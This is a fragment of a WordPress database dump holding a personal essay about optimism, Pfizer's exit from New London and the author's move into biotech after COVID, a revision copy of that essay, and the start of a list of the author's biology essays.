blogging about science. I started to deliberately reach out to people I admired, trying to foster connections and learn from them. And, after deliberating briefly about going to grad school, I started a biotech company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can’t really explain why I started a biotech company over going to grad school or working at someone else’s company, except to say that starting companies and ventures is something I’m comfortable with and working under other people is something that I’m not. I think it’s a personality flaw on my part. Regardless, it gave and has given me some sense of bringing about this optimistic future, and for that I value it immensely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By working on my company; by struggling against the forces of inertia, bureaucracy, and institutional cowardice; by contributing in some small way towards a future with no disease in humans or in pets, I feel like I’m participating in bringing about a different future. I am, for once in my life, optimistic about the future. I can see a future where death is optional, matter infinitely malleable, distances immaterial, and, yes, energy too cheap to meter. My fellow builders and I are bringing it about, each of us playing a small part.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not saying this future is coming soon or easily. It’s so hard, actually. It’s so much harder to build things than anyone who hasn’t built things realizes. Atoms don’t like to be moved and people don’t like to do things. There’s always a wiseass to tell you why your idea won’t work, and sometimes they’re right, but you won’t know until you’ve poured 5 years of sweat into it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’s necessary. We live in such an imperfect world, even for those of us who are privileged white males like myself. Right now, I’m trying to get over a cold (my second in two months) and using the exact same remedies as I grew up with, but just with a worse decongestant since the US government banned pseudoephedrine and replaced it with the entirely ineffective phenylephrine. Roadworkers have been digging up my street for the past 4 or 5 months, supposedly to replace the pipes underneath, but there’s no end in sight. I’d like to go to my office to avoid the roadworkers’ noise, but that’s a rude thing to do when I’m still coughing, so I’m stuck in my apartment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of these are purely technological problems, but nothing ever is. An optimistic future can’t be brought about by purely technological solutions, any more than a company’s success can be. In my own company, I’ve spent a lot of time dealing with paperwork and following up on emails, and a lot of mental effort trying to figure out exactly how to navigate around rules and regulations.&nbsp;It’s not exactly&nbsp;<em>Iron Man</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t different from many jobs, of course. The difference is that when I do so now, I’m doing so because I want to bring about a better world. I want to bring about a world where colds can be cured instantly, roadwork is done quickly and efficiently, and offices don’t spread contagion. Are we venturing towards that world now? Am I venturing towards that world? I think so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And when I look at all of the builders in America now, people building real, material things: rocket ships, cars, satellites, drones, robots, vaccines, therapeutics, batteries, solar panels, nuclear power plants, I feel like I’m not alone. I’m part of a movement. There’s a new future coming, and it’s going to be better than our present.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So here I am, stuck in my apartment, on hopefully the last day of a cold, enjoying a brief, blessed lull in roadwork noise, dreaming of a better future and feeling, at last, like it’s coming. If that’s you, too, I’m glad to hear it. Reach out, and I’ll help any way I can.</p>\n<!-- /wp:paragraph -->','A brief personal history of optimistic futures','','publish','closed','closed','','a-brief-personal-history-of-optimistic-futures','','','2025-07-03 19:24:17','2025-07-03 19:24:17','',0,'https://trevorklee.com/?page_id=491',0,'page','',0),
(492,1,'2025-07-03 19:24:17','2025-07-03 19:24:17','<!-- wp:paragraph -->\n<p>As I’ve mentioned before on this blog, I was raised in the suburbs of Connecticut during the 90s and 2000s in a town called Waterford, right next to the small city of New London. The defining event of my town’s existence during my growing-up years was the abandonment of New London by Pfizer, the pharmaceutical giant. Pfizer was the main source of white collar jobs in my town, and many of my friends’ parents were employed by them. Right as I was about to enter high school, Pfizer decided to close their R&amp;D plant in New London, lay off their senior people, and tell all their junior people that they were moving to Groton, CT, a few miles away.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ironically, this occurred just a few years after the single biggest court case in the city’s history, the Supreme Court case&nbsp;<em>Kelo v. City of New London</em>, which revolved around the city of New London seizing the property of local homeowners for a Pfizer-anchored redevelopment project. The city did successfully seize the property, but once Pfizer moved out from New London, the developer couldn’t get any additional funding. The property remains an empty lot to this day, while the cost to the city and state reportedly amounted to $78 million in total.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!_fMF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0977f4c4-2d6c-4047-be7f-7feb5c9958b9_1734x1460.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!_fMF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F0977f4c4-2d6c-4047-be7f-7feb5c9958b9_1734x1460.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">From my local newspaper,&nbsp;<em>The Day.&nbsp;</em>At the time, Pfizer said they were moving “most” of the 1400 jobs to their Groton campus, a few miles away. As far as I can tell from what happened to my friends’ parents, “most” was an overstatement, and a lot of those R&amp;D jobs were just eliminated. They did eventually open another R&amp;D plant in Cambridge, MA, not too far from where I am now, and presumably have hired back some of those people.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>There’s a lot I can say about this pair of events. There’s:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. The shortsightedness on the part of the city to not guarantee their anchor tenant would stay in place before they spent $78 million and went to the Supreme Court&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. The questionable merger of state power with private advancement when a city seizes property for the benefit of a developer&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. This arrogant Robert Moses-esque focus on top-down development at the expense of bottom-up, although carried out way more sloppily than Moses ever did or would have.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. A cavalier waste of public resources with little to show for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, overall, what comes to mind is cynicism. There’s a cynicism in the actions of Pfizer and of New London. Pfizer’s cynicism is obvious: they saw all this hubbub going on for their benefit, used their weight to make sure the decision went their way, and then decided to pull out anyways, not caring about the lives ruined in the process. New London’s cynicism is a little more under the surface, but still there: after they won the Supreme Court case, officials in New London announced plans to charge the residents of those houses tens of thousands of dollars in back rent, backdated from the start of the court case 5 years ago. It wasn’t exactly the action of a gracious victor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think this cynicism comes out of pure meanspiritedness, though. Instead, I think it’s a sort of pessimism. I think both Pfizer and New London believed that their best days were behind them. As a company and a city, respectively, they needed to get out while the getting was good. The individuals in those organizations, too, acted desperately, trying to get resources for themselves at the expense of others. When the ship strikes an iceberg, most people commandeer lifeboats for themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I assume this was their mentality because that was, generally, the mentality that I was raised with. My area of Connecticut had seen nothing but downturn since I was born. The only industries for smart young people to aspire to enter were finance, medicine, or law, or, barring that, academia. Notably, none of those are productive industries in the sense that none of those make the things of daily life. And while, sure, a few of my classmates entered engineering (notably those few who were strong in math but weak in liberal arts), they ultimately aspired to be managers. The goal was to get away from making things, not towards them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This wasn’t unique to my corner of America, of course. This was in the water, generally. The only big change that happened as I got slightly older is that programming, once again, became lucrative. So, once I got to college, many of my smart classmates didn’t only aspire to be in finance, medicine, or law (or consulting, a career track that I did not know existed in high school). They also aspired to be overpaid programmers. Programmers of what, you might ask? It didn’t really matter. Programmers of apps, or ads, or websites, or databases, or mobile games. The important thing was that they would get paid $200k first year out of college and get to eat snacks all day.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>At no point did anyone in my high school or college, either student or teacher, express any optimism about the future besides a vague hope that things in the future would be more equitable. Like, there was a hope that the playing field would be leveled, that everyone would have the same “privilege as the straight white man”, as the parlance of the time went. I actually don’t think this was terrible: America made some significant gains in gay rights and in not being jerks to minorities, although some of the latter backlash went too far. Still, it was revealing that that was it. Nobody could imagine their future life being better than, like, George W. Bush’s life in the year 1999.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To some extent, this might have just been a failure of perspective. After all, the Kindle came out in 2007, when I was 14, and I distinctly remember feeling like a device that you could read books on and that could connect to the Internet was pretty close to the fictional, futuristic handheld encyclopedia-of-everything Hitchhiker\'s Guide to the Galaxy from the book series of the same title. And I lived through and was acutely aware of the insane pace of videogame graphics and AI advancement, given that I begged my parents for each new title and console.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, somehow, those genuine technical achievements, as well as the other ones that swept across my landscape (like smartphones), never registered. I never once heard of any of my classmates wanting to work for Amazon or Apple, or to create anything similar. Apple’s products seemed as mysterious in their creation as, well, apples themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Funnily enough, crypto guys were the first people I heard elucidate a unique, positive vision of the future, one in which they played an active role. My first in-person encounter with a true believer in crypto was my freshman year hallmate, Pranav, who mined bitcoin on his laptop (this was 2011, when that was still feasible). Like most of the early bitcoin adopters, Pranav mined bitcoin not because he was interested in becoming rich. Being rich off of bitcoin didn’t even make sense at that stage. He mined bitcoin because he thought there was some small chance that it was the currency of the future, and, besides, it was just plain cool to be able to buy pizza with the proceeds of a cryptographic algorithm.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pranav, and those other early crypto guys, had a vague vision of a future in which money was permissionless and frictionless. Anyone could own money, nobody could be de-banked, their money would be theirs to keep and do with as they wished, and money transfers would be effortless and free. In this crypto future, our laptops would be our banks, and our USB drives would be our wallets.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This future largely did not come to pass. There were always problems with this idea and, as it turns out, crypto is a much better tool for asset speculation than currency, with some exceptions. I felt that way then, too, and told Pranav as much. Later on, once Pranav pivoted to quantum computing, getting a PhD then starting and selling a startup in it, he told me that I was right about bitcoin after all. This was, of course, after Pranav had mined a number of bitcoins, held them for a while, then sold them for a healthy profit, while I did none of those things and did not make money. But, at least I won the argument.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Anyways, that was my first encounter in real life with someone who had an optimistic, positive view of the future, one in which the future was better for everyone than the present we had today. I was 18. Nuts, right? By that point, I had been exposed to numerous futuristic dystopias in school and at home, both fictional, like&nbsp;<em>The Giver&nbsp;</em>and&nbsp;<em>Brave New World</em>, and seemingly prophetic, like<em>&nbsp;An Inconvenient Truth</em>. But, to get an idea of a futuristic utopia, I had to go all the way back to&nbsp;<em>The Jetsons</em>, a cartoon from the 50s that I never even watched and was only vaguely aware of. My next best option after that was&nbsp;<em>Mass Effect</em>, a videogame series which is mostly an epic space opera about ancient robot aliens taking over the galaxy, but which is set in a future in which technology has solved pretty much all issues of scarcity and disease, at least until the ancient robot aliens start turning crucial members of society into zombies (it makes more sense in context). That was almost it for optimistic visions of the future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result of this, I didn’t have a clear idea of the future I was working towards when I graduated college. I didn’t feel like I fit into the doctor/lawyer/consultant mode, and my college GPA agreed. I decided to strike out on my own and do test prep while doing projects on the side. This did feel a little like making a positive contribution towards a future world, in that I was helping people become a bit smarter, at least in an academic sense. But the link between that and&nbsp;<em>The Jetsons</em>&nbsp;utopian future was so sketchy as to be nonexistent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In that way, I think I was much like many people of my generation. A lot of us had a vague yearning to create a better future. The cynicism and pessimism of our parents’ generation, with endless worrying about terrorism, moral decline, and “protecting what’s yours” was exhausting. And sure, many of us just turned to doomerism of our own (and many of us are still stuck there). But, for the builders and dreamers among us, we wanted to create that ideal future.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seemed impossible, though. Building the future cost money, and money was only available for ventures that, ironically, didn’t seem to require money to expand, like apps, crypto, and SaaS. So, we ended up awkwardly shoehorning our utopian desires into mundane startups and businesses. We were forced to claim that our digital analytics or ridesharing apps would make the world a better place, like the only thing that stood between where we are today and a future of abundance was correct view attribution on mobile ads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, don’t get me wrong, I think some of these innovations were actually good. Uber and Airbnb provided much needed competition for taxis and hotels. Facebook was and is actually pretty convenient for social stuff. Even my small education business was a lot better than the Kaplans of the world, although I never was able to figure out how to scale it like a Kaplan and still maintain any semblance of quality.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But we weren’t building anything that was really going to take us into the future. The utopian future of&nbsp;<em>The Jetsons</em>&nbsp;or even&nbsp;<em>Mass Effect</em>&nbsp;had a world without diseases, with robots who did our menial labor, and spaceships that whisked us between the stars in seconds. No number of note-taking apps, email marketing platforms, or dog-walking websites were going to get us there.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is very obvious to me now looking back. At the time, though, I think I only had a vague sense of things not quite fitting. On the one hand, I heard endless pronouncements of the end of the world in 50 years, usually due to climate change. On the other hand, the smartest people I knew were working on things that were, well, trivial in comparison.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I fully admit that this blindness was my fault, or at least my choice. I had heard the pronouncements of Elon Musk about humans needing to be an interplanetary species and Peter Thiel about humanity choosing flying cars over 140 characters, and I responded with cynicism and willful ignorance. I could have gone future-first much earlier and chosen to surround myself with those few people who were trying to build the future. But, I’ve never been the type to be particularly impressed with engineering, anyhow, even as I appreciate its importance. It was hard for me to imagine myself working on spaceships or flying cars, or even being a particularly early user of them. Peter Thiel’s and Elon Musk’s future worlds didn’t feel like mine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It took a big shock to the system for me to start really thinking about the future. That came in the form of COVID. As Boston, then America, shut down, and as we were bombarded with apocalyptic messages (pandemics! mass death! hospital paralysis! race riots! police brutality!), I came to two startling realizations:<br><br>1. The only way out of this was technology</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. There are no adults behind the scenes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, I didn’t mean there were literally no adults behind the scenes. I just meant that watching the American policy apparatus continually bungle the COVID response and watching public health officials operate about 6 months behind the release of every new study made me realize that the people who I had been relying on to bring about the future were no smarter than I was. In a lot of cases, they were dumber, or at least seemed to be from their decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, on the other hand, watching the rapid development of therapeutics and vaccines for COVID, most notably the mRNA vaccine, was downright inspiring. This, at last, seemed like an optimistic future coming into the present. More than the iPhone, more than the Xbox, more than the Tesla: the COVID vaccine, developed in weeks and “programmed” against a novel virus, made me realize that a bright future was coming to me at last. It seemed obvious to me that while COVID was temporary, these innovations would be forever and they’d just keep coming.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That realization is what started my biotech journey, really. I started reading papers and blogging about science. I started to deliberately reach out to people I admired, trying to foster connections and learn from them. And, after deliberating briefly about going to grad school, I started a biotech company.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I can’t really explain why I started a biotech company over going to grad school or working at someone else’s company, except to say that starting companies and ventures is something I’m comfortable with and working under other people is something that I’m not. I think it’s a personality flaw on my part. Regardless, it gave and has given me some sense of bringing about this optimistic future, and for that I value it immensely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>By working on my company; by struggling against the forces of inertia, bureaucracy, and institutional cowardice; by contributing in some small way towards a future with no disease in humans or in pets, I feel like I’m participating in bringing about a different future. I am, for once in my life, optimistic about the future. I can see a future where death is optional, matter infinitely malleable, distances immaterial, and, yes, energy too cheap to meter. My fellow builders and I are bringing it about, each of us playing a small part.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m not saying this future is coming soon or easily. It’s so hard, actually. It’s so much harder to build things than anyone who hasn’t built things realizes. Atoms don’t like to be moved and people don’t like to do things. There’s always a wiseass to tell you why your idea won’t work, and sometimes they’re right, but you won’t know until you’ve poured 5 years of sweat into it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’s necessary. We live in such an imperfect world, even for those of us who are privileged white males like myself. Right now, I’m trying to get over a cold (my second in two months) and using the exact same remedies as I grew up with, but just with a worse decongestant since the US government banned pseudoephedrine and replaced it with the entirely ineffective phenylephrine. Roadworkers have been digging up my street for the past 4 or 5 months, supposedly to replace the pipes underneath, but there’s no end in sight. I’d like to go to my office to avoid the roadworkers’ noise, but that’s a rude thing to do when I’m still coughing, so I’m stuck in my apartment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>None of these are purely technological problems, but nothing ever is. An optimistic future can’t be brought about by purely technological solutions, any more than a company’s success can be. In my own company, I’ve spent a lot of time dealing with paperwork and following up on emails, and a lot of mental effort trying to figure out exactly how to navigate around rules and regulations.&nbsp;It’s not exactly&nbsp;<em>Iron Man</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t different from many jobs, of course. The difference is that when I do so now, I’m doing so because I want to bring about a better world. I want to bring about a world where colds can be cured instantly, roadwork is done quickly and efficiently, and offices don’t spread contagion. Are we venturing towards that world now? Am I venturing towards that world? I think so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And when I look at all of the builders in America now, people building real, material things: rocket ships, cars, satellites, drones, robots, vaccines, therapeutics, batteries, solar panels, nuclear power plants, I feel like I’m not alone. I’m part of a movement. There’s a new future coming, and it’s going to be better than our present.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So here I am, stuck in my apartment, on hopefully the last day of a cold, enjoying a brief, blessed lull in roadwork noise, dreaming of a better future and feeling, at last, like it’s coming. If that’s you, too, I’m glad to hear it. Reach out, and I’ll help any way I can.</p>\n<!-- /wp:paragraph -->','A brief personal history of optimistic futures','','inherit','closed','closed','','491-revision-v1','','','2025-07-03 19:24:17','2025-07-03 19:24:17','',491,'https://trevorklee.com/?p=492',0,'revision','',0),
(493,1,'2025-07-03 19:24:55','2025-07-03 19:24:55','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant 